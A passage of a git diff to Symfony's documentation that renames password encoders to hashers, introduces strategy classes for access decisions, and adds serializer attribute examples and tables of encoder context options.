+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+    use Symfony\Component\Security\Core\User\InMemoryUser;
 
-    $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000);
-    $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1);
+    $defaultHasher = new MessageDigestPasswordHasher('sha512', true, 5000);
+    $weakHasher = new MessageDigestPasswordHasher('md5', true, 1);
 
-    $encoders = [
-        User::class       => $defaultEncoder,
-        LegacyUser::class => $weakEncoder,
+    $hashers = [
+        InMemoryUser::class => $defaultHasher,
+        LegacyUser::class   => $weakHasher,
         // ...
     ];
-    $encoderFactory = new EncoderFactory($encoders);
+    $hasherFactory = new PasswordHasherFactory($hashers);
 
-Each encoder should implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+Each hasher should implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 or be an array with a ``class`` and an ``arguments`` key, which allows the
-encoder factory to construct the encoder only when it is needed.
+hasher factory to construct the hasher only when it is needed.
+
+.. _creating-a-custom-password-encoder:
 
-Creating a custom Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating a custom Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There are many built-in password encoders. But if you need to create your
+There are many built-in password hasher. But if you need to create your
 own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-   (you can also extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`);
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
+   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
 
 #. The implementations of
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
    and
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::isPasswordValid`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
    must first of all make sure the password is not too long, i.e. the password length is no longer
    than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder::isPasswordTooLong`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
    method for this check::
 
-       use Symfony\Component\Security\Core\Encoder\BasePasswordEncoder;
+       use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
+       use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
        use Symfony\Component\Security\Core\Exception\BadCredentialsException;
 
-       class FoobarEncoder extends BasePasswordEncoder
+       class FoobarHasher extends UserPasswordHasher
        {
-           public function encodePassword($raw, $salt)
+           use CheckPasswordLengthTrait;
+
+           public function hashPassword(UserInterface $user, string $plainPassword): string
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    throw new BadCredentialsException('Invalid password.');
                }
 
                // ...
            }
 
-           public function isPasswordValid($encoded, $raw, $salt)
+           public function isPasswordValid(UserInterface $user, string $plainPassword)
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    return false;
                }
 
@@ -233,13 +242,15 @@ own, it needs to follow these rules:
            }
        }
 
-Using Password Encoders
-~~~~~~~~~~~~~~~~~~~~~~~
+.. _using-password-encoders:
+
+Using Password Hashers
+~~~~~~~~~~~~~~~~~~~~~~
 
-When the :method:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory::getEncoder`
-method of the password encoder factory is called with the user object as
-its first argument, it will return an encoder of type :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-which should be used to encode this user's password::
+When the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory::getPasswordHasher`
+method of the password hasher factory is called with the user object as
+its first argument, it will return a hasher of type :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
+which should be used to hash this user's password::
 
     // a Acme\Entity\LegacyUser instance
     $user = ...;
@@ -247,12 +258,12 @@ which should be used to encode this user's password::
     // the password that was submitted, e.g. when registering
     $plainPassword = ...;
 
-    $encoder = $encoderFactory->getEncoder($user);
+    $hasher = $hasherFactory->getPasswordHasher($user);
 
-    // returns $weakEncoder (see above)
-    $encodedPassword = $encoder->encodePassword($plainPassword, $user->getSalt());
+    // returns $weakHasher (see above)
+    $hashedPassword = $hasher->hashPassword($user, $plainPassword);
 
-    $user->setPassword($encodedPassword);
+    $user->setPassword($hashedPassword);
 
     // ... save the user
 
@@ -265,26 +276,22 @@ in) is correct, you can use::
     // the submitted password, e.g. from the login form
     $plainPassword = ...;
 
-    $validPassword = $encoder->isPasswordValid(
-        $user->getPassword(), // the encoded password
-        $plainPassword,       // the submitted password
-        $user->getSalt()
-    );
+    $validPassword = $hasher->isPasswordValid($user, $plainPassword);
 
 Authentication Events
 ---------------------
 
 The security component provides the following authentication events:
 
-===============================  ================================================================= ==============================================================================
-Name                             Event Constant                                                    Argument Passed to the Listener
-===============================  ================================================================= ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
-security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
-security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                             :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
-security.switch_user             ``SecurityEvents::SWITCH_USER``                                   :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
-security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
-===============================  ================================================================= ==============================================================================
+===============================  ======================================================================== ==============================================================================
+Name                             Event Constant                                                           Argument Passed to the Listener
+===============================  ======================================================================== ==============================================================================
+security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
+security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
+security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                                    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+security.switch_user             ``SecurityEvents::SWITCH_USER``                                          :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent::class``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
+===============================  ======================================================================== ==============================================================================
 
 Authentication Success and Failure Events
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -295,6 +302,11 @@ request if you have session-based authentication, if ``always_authenticate_befor
 is enabled or if token is not authenticated before AccessListener is invoked.
 See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
 a ``security.authentication.failure`` event is dispatched. You could listen on
 the ``security.authentication.failure`` event, for example, in order to log
@@ -317,7 +329,7 @@ The ``security.switch_user`` event is triggered every time you activate
 the ``switch_user`` firewall listener.
 
 The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change, it can help you doing some clean-up task when a logout has been triggered.
+because of a user change, it can help you doing some clean-up task.
 
 .. seealso::
 
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index b884ce97ac0..3effc3d0794 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -37,26 +37,8 @@ Access Decision Manager
 Since deciding whether or not a user is authorized to perform a certain
 action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager`
 itself depends on multiple voters, and makes a final verdict based on all
-the votes (either positive, negative or neutral) it has received. It
-recognizes several strategies:
-
-``affirmative`` (default)
-    grant access as soon as there is one voter granting access;
-
-``consensus``
-    grant access if there are more voters granting access than there are denying;
-
-``unanimous``
-    only grant access if none of the voters has denied access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
-
-``priority``
-    grants or denies access by the first voter that does not abstain;
-
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
+the votes (either positive, negative or neutral) it has received and the
+given strategy.
 
 Usage of the available options in detail::
 
@@ -65,27 +47,69 @@ Usage of the available options in detail::
     // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
     $voters = [...];
 
-    // one of "affirmative", "consensus", "unanimous", "priority"
+    // instance of Symfony\Component\Security\Core\Authorization\Strategy\AccessDecisionStrategyInterface
     $strategy = ...;
 
-    // whether or not to grant access when all voters abstain
-    $allowIfAllAbstainDecisions = ...;
-
-    // whether or not to grant access when there is no majority (applies only to the "consensus" strategy)
-    $allowIfEqualGrantedDeniedDecisions = ...;
-
-    $accessDecisionManager = new AccessDecisionManager(
-        $voters,
-        $strategy,
-        $allowIfAllAbstainDecisions,
-        $allowIfEqualGrantedDeniedDecisions
-    );
+    $accessDecisionManager = new AccessDecisionManager($voters, $strategy);
 
 .. seealso::
 
     You can change the default strategy in the
     :ref:`configuration <security-voters-change-strategy>`.
 
+Strategies
+----------
+
+.. versionadded:: 5.4
+
+    The strategy classes were introduced in Symfony 5.4. In earlier versions, the strategy was passed as a string.
+
+The following strategies are bundled with the component:
+
+``AffirmativeStrategy`` (default)
+    grant access as soon as there is one voter granting access;
+
+``ConsensusStrategy``
+    grant access if there are more voters granting access than there are denying;
+    if there is a draw between votes, the decision is made based on the
+    ``$allowIfEqualGrantedDeniedDecisions`` constructor parameter which defaults to ``true``.
+
+``UnanimousStrategy``
+    only grant access if none of the voters has denied access.
+
+``PriorityStrategy``
+    grants or denies access by the first voter that does not abstain;
+
+    .. versionadded:: 5.1
+
+        The "priority" version strategy was introduced in Symfony 5.1.
+
+If all voters abstained from voting, the decision is based on the ``$allowIfAllAbstainDecisions``
+constructor parameter which is supported by all of the built-in strategies and defaults to ``false``.
+
+If none of the built-in strategies seem to fit, a custom strategy may be provided. The strategy will
+receive a stream of votes and may return as soon as it has seen enough votes to come to a conclusion.
+
+::
+
+    /**
+     * Always picks the third voter.
+     */
+    class ThirdVoterStrategy implements AccessDecisionStrategyInterface
+    {
+        public function decide(\Traversable $results): bool
+        {
+            $votes = 0;
+            foreach ($results as $result) {
+                if (++$votes === 3) {
+                    return $result === VoterInterface::ACCESS_GRANTED;
+                }
+            }
+
+            return false;
+        }
+    }
+
 Voters
 ------
 
@@ -207,7 +231,7 @@ expressions have access to a number of
 
     $expression = new Expression(
         '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
-    )
+    );
 
     $vote = $expressionVoter->vote($token, $object, [$expression]);
 
diff --git a/components/semaphore.rst b/components/semaphore.rst
index 5f26c781164..ebae3df89e8 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -76,6 +76,6 @@ already acquired.
     If you don't release the semaphore explicitly, it will be released
     automatically on instance destruction. In some cases, it can be useful to
     lock a resource across several requests. To disable the automatic release
-    behavior, set the fifth argument of the ``createLock()`` method to ``false``.
+    behavior, set the fifth argument of the ``createSemaphore()`` method to ``false``.
 
 .. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming)
diff --git a/components/serializer.rst b/components/serializer.rst
index 43012f5cd20..822bd93ff30 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -174,6 +174,8 @@ when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` contex
 ``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
 when constructing the normalizer::
 
+    use App\Model\Person;
+
     $data = <<<EOF
     <person>
         <name>foo</name>
@@ -189,7 +191,7 @@ when constructing the normalizer::
 
     // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
     // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, 'App\Model\Person', 'xml', [
+    $person = $serializer->deserialize($data, Person::class, 'xml', [
         AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
     ]);
 
@@ -315,6 +317,26 @@ Then, create your groups definition:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\Groups;
+
+        class MyObj
+        {
+            #[Groups(['group1', 'group2'])]
+            public $foo;
+
+            #[Groups(['group3'])]
+            public function getBar() // is* methods are also supported
+            {
+                return $this->bar;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -326,7 +348,7 @@ Then, create your groups definition:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -437,6 +459,20 @@ Option 1: Using ``@Ignore`` Annotation
             public $bar;
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Ignore;
+
+        class MyClass
+        {
+            public $foo;
+
+            #[Ignore]
+            public $bar;
+        }
+
     .. code-block:: yaml
 
         App\Model\MyClass:
@@ -658,6 +694,25 @@ defines a ``Person`` entity with a ``firstName`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Entity;
+
+        use Symfony\Component\Serializer\Annotation\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private $firstName;
+
+            public function __construct($firstName)
+            {
+                $this->firstName = $firstName;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         App\Entity\Person:
@@ -667,7 +722,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -681,7 +736,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 This custom mapping is used to convert property names when serializing and
 deserializing objects::
 
-    $serialized = $serializer->serialize(new Person("Kévin"), 'json');
+    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
     // {"customer_name": "Kévin"}
 
 Serializing Boolean Attributes
@@ -734,7 +789,24 @@ When serializing, you can set a callback to format a specific object property::
 Normalizers
 -----------
 
-There are several types of normalizers available:
+Normalizers turn **object** into **array** and vice versa. They implement
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+for normalize (object to array) and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
+(array to object).
+
+You can add new normalizers to a Serializer instance by using its first constructor argument::
+
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $normalizers = [new ObjectNormalizer()];
+    $serializer = new Serializer($normalizers, []);
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
@@ -800,7 +872,7 @@ There are several types of normalizers available:
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
 
-    It will get errors from the form and normalize them into an normalized array.
+    It will get errors from the form and normalize them into a normalized array.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
     This normalizer converts objects that implement
@@ -810,16 +882,31 @@ There are several types of normalizers available:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
     This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. Also it can
-    denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`.
+    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
 .. versionadded:: 5.2
 
     The ``UidNormalizer`` was introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
+
 .. _component-serializer-encoders:
 
 Encoders
@@ -858,6 +945,11 @@ The Serializer component provides several built-in encoders:
 :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
     This encoder encodes and decodes data in `CSV`_.
 
+.. note::
+
+    You can also create your own Encoder to use another structure. Read more at
+    :doc:`/serializer/custom_encoders`.
+
 All these encoders are enabled by default when using the Serializer component
 in a Symfony application.
 
@@ -878,6 +970,44 @@ The ``CsvEncoder``
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
+The ``CsvEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the CsvEncoder an associative array::
+
+    $csvEncoder->encode($array, 'csv', $context);
+
+These are the options available:
+
+======================= =====================================================  ==========================
+Option                  Description                                            Default
+======================= =====================================================  ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
+                        character only)
+``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
+``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
+                        line in the CSV file
+``csv_escape_char``     Sets the escape character (at most one character)      empty string
+``csv_key_separator``   Sets the separator for array's keys during its         ``.``
+                        flattening
+``csv_headers``         Sets the order of the header and data columns
+                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
+                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
+                        then ``serialize($data, 'csv', $options)`` returns
+                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
+                        with a ``\t`` character
+``as_collection``       Always returns results as a collection, even if only   ``true``
+                        one line is decoded.
+``no_headers``          Disables header in the encoded CSV                     ``false``
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
+======================= =====================================================  ==========================
+
+.. versionadded:: 5.3
+
+    The ``csv_end_of_line`` option was introduced in Symfony 5.3.
+
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -887,17 +1017,31 @@ For example, take an object normalized as following::
 
     ['foo' => [1, 2], 'bar' => true];
 
-The ``XmlEncoder`` will encode this object like that::
+The ``XmlEncoder`` will encode this object like that:
 
-    <?xml version="1.0"?>
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
     <response>
         <foo>1</foo>
         <foo>2</foo>
         <bar>1</bar>
     </response>
 
-Be aware that this encoder will consider keys beginning with ``@`` as attributes, and will use
-the key  ``#comment`` for encoding XML comments::
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    // is encoded as follows:
+    // <?xml version="1.0"?>
+    // <response>
+    //     <foo bar="value">
+    //        baz
+    //     </foo>
+    // </response>
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
 
     $encoder = new XmlEncoder();
     $encoder->encode([
@@ -923,12 +1067,97 @@ always as a collection.
     changed with the optional ``$encoderIgnoredNodeTypes`` argument of the
     ``XmlEncoder`` class constructor.
 
+The ``XmlEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the XmlEncoder an associative array::
+
+    $xmlEncoder->encode($array, 'xml', $context);
+
+These are the options available:
+
+==============================  =================================================  ==========================
+Option                          Description                                        Default
+==============================  =================================================  ==========================
+``xml_format_output``           If set to true, formats the generated XML with     ``false``
+                                line breaks and indentation
+``xml_version``                 Sets the XML version attribute                     ``1.1``
+``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
+``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
+``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
+                                type casting
+``xml_root_node_name``          Sets the root node name                            ``response``
+``as_collection``               Always returns results as a collection, even if    ``false``
+                                only one line is decoded
+``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
+                                to be ignored while decoding
+``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
+                                to be ignored while encoding
+``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
+``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
+                                generated XML
+==============================  =================================================  ==========================
+
+Example with custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    // create encoder with specified options as new default settings
+    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    // encode with default context
+    $xmlEncoder->encode($data, 'xml');
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    // encode with modified context
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
 This encoder requires the :doc:`Yaml Component </components/yaml>` and
 transforms from and to Yaml.
 
+The ``YamlEncoder`` Context Options
+...................................
+
+The ``encode()`` method, like other encoder, uses ``context`` to set
+configuration options for the YamlEncoder an associative array::
+
+    $yamlEncoder->encode($array, 'yaml', $context);
+
+These are the options available:
+
+=============== ========================================================  ==========================
+Option          Description                                               Default
+=============== ========================================================  ==========================
+``yaml_inline`` The level where you switch to inline YAML                 ``0``
+``yaml_indent`` The level of indentation (used internally)                ``0``
+``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
+                to customize the encoding / decoding YAML string
+=============== ========================================================  ==========================
+
 Skipping ``null`` Values
 ------------------------
 
@@ -947,6 +1176,39 @@ to ``true``::
 
 .. _component-serializer-handling-circular-references:
 
+Collecting Type Errors While Denormalizing
+------------------------------------------
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
+collect all exceptions at once, and to get the object partially denormalized::
+
+    try {
+        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+        /** @var NotNormalizableValueException */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        };
+
+        return $this->json($violations, 400);
+    }
+
+.. versionadded:: 5.4
+
+    The ``COLLECT_DENORMALIZATION_ERRORS`` option was introduced in Symfony 5.4.
+
 Handling Circular References
 ----------------------------
 
@@ -1091,6 +1353,20 @@ Here, we set it to 2 for the ``$child`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\MaxDepth;
+
+        class MyObj
+        {
+            #[MaxDepth(2)]
+            public $child;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -1100,7 +1376,7 @@ Here, we set it to 2 for the ``$child`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -1234,115 +1510,6 @@ you indicate that you're expecting an array instead of a single object::
     $data = ...; // The serialized data from the previous example
     $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
 
-The ``XmlEncoder``
-------------------
-
-This encoder transforms arrays into XML and vice versa. For example, take an
-object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` encodes this object as follows:
-
-.. code-block:: xml
-
-    <?xml version="1.0"?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The array keys beginning with ``@`` are considered XML attributes::
-
-    ['foo' => ['@bar' => 'value']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    // </response>
-
-Use the special ``#`` key to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">baz</foo>
-    // </response>
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-``xml_format_output``
-    If set to true, formats the generated XML with line breaks and indentation.
-
-``xml_version``
-    Sets the XML version attribute (default: ``1.1``).
-
-``xml_encoding``
-    Sets the XML encoding attribute (default: ``utf-8``).
-
-``xml_standalone``
-    Adds standalone attribute in the generated XML (default: ``true``).
-
-``xml_root_node_name``
-    Sets the root node name (default: ``response``).
-
-``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML (default: ``false``).
-
-The ``CsvEncoder``
-------------------
-
-This encoder transforms arrays into CSV and vice versa.
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-``csv_delimiter``
-    Sets the field delimiter separating values (one character only, default: ``,``).
-
-``csv_enclosure``
-    Sets the field enclosure (one character only, default: ``"``).
-
-``csv_escape_char``
-    Sets the escape character (at most one character, default: empty string).
-
-``csv_key_separator``
-    Sets the separator for array's keys during its flattening (default: ``.``).
-
-``csv_headers``
-    Sets the headers for the data (default: ``[]``, inferred from input data's keys).
-
-``csv_escape_formulas``
-    Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``).
-
-``as_collection``
-    Always returns results as a collection, even if only one line is decoded.
-
-``no_headers``
-    Disables header in the encoded CSV (default: ``false``).
-
-``output_utf8_bom``
-    Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
-
 Handling Constructor Arguments
 ------------------------------
 
@@ -1505,7 +1672,24 @@ and ``BitBucketCodeRepository`` classes:
          *    "bitbucket"="App\BitBucketCodeRepository"
          * })
          */
-        interface CodeRepository
+        abstract class CodeRepository
+        {
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        namespace App;
+
+        use App\BitBucketCodeRepository;
+        use App\GitHubCodeRepository;
+        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
+
+        #[DiscriminatorMap(typeProperty: 'type', mapping: [
+            'github' => GitHubCodeRepository::class,
+            'bitbucket' => BitBucketCodeRepository::class,
+        ])]
+        abstract class CodeRepository
         {
             // ...
         }
@@ -1521,7 +1705,7 @@ and ``BitBucketCodeRepository`` classes:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
